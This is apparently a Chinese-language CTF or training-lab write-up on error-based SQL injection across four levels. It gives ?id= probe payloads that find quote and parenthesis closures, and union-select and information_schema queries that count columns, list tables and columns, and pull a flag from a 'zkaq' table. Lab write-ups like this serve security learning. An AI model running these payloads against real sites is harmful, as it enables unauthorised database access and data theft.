SQL注入的本质:就是将用户输入的数据当作代码带入执行。
注入条件:
1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行
首先检查是否存在注入点
Rank1:
构造语句 ?id=1 and 1=1 没有报错
?id=1 and 1=2 也没有显示错误,检查是否被过滤了
?id=1' and 1=1 出现错误,说明这里被单引号过滤掉了
?id=1' and 1=1 --+ 回显正确 存在注入
Rank2:
?id=1 and 1=1 回显正确
?id=1 and 1=2 回显错误,判断存在注入
Rank3:
构造:?id=1 and 1=1 回显正确
?id=1 and 1=2 回显正确
?id=1' and 1=1 --+ 闭合引号回显错误,表示出现其他闭合
?id=1')and 1=1 --+ 尝试闭合括号进行绕过,回显正确,存在注入
Rank4:
构造语句:?id=1 and 1=1 回显正确
?id=1 and 1=2 回显正确,判断存在过滤
?id=1'and 1=1 --+ 判断是否存在'闭合 回显正确
?id=1'and 1=2 --+ 回显正确 表示未出现'闭合
?id=1)and 1=1--+ 判断是否存在括号闭合 回显正确
?id=1)and 1=2--+ 依然回显正确
?id=1" and 1 = 1 --+再试一下是否存在"闭合,回显错误,证明存在"闭合
?id=1") and 1 = 1 --+ 尝试和)一起判断过滤,回显正确,存在注入
脱库
由于Rank1-Rank4 都是显错注入,除了过滤之外的步骤都相同,就以Rank1进行脱库步骤
判断当前表的字段数:
?id=1' order by 5 --+ 判断字段数及回显点,显示错误,说明字段小于5
最后判断字段数为3 :
?id=1' order by 3 --+
使用联合查询判断显示位置
?id=0'union select 1,2,3 --+
这里选择2和3构建子查询都可
查询数据库名:
?id=0'union select 1,database(),3 --+
查询表名:
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
查找表中的字段:
因为是找flag,就查找我们觉得最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+
存在flag
构建查数据的语句:
?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+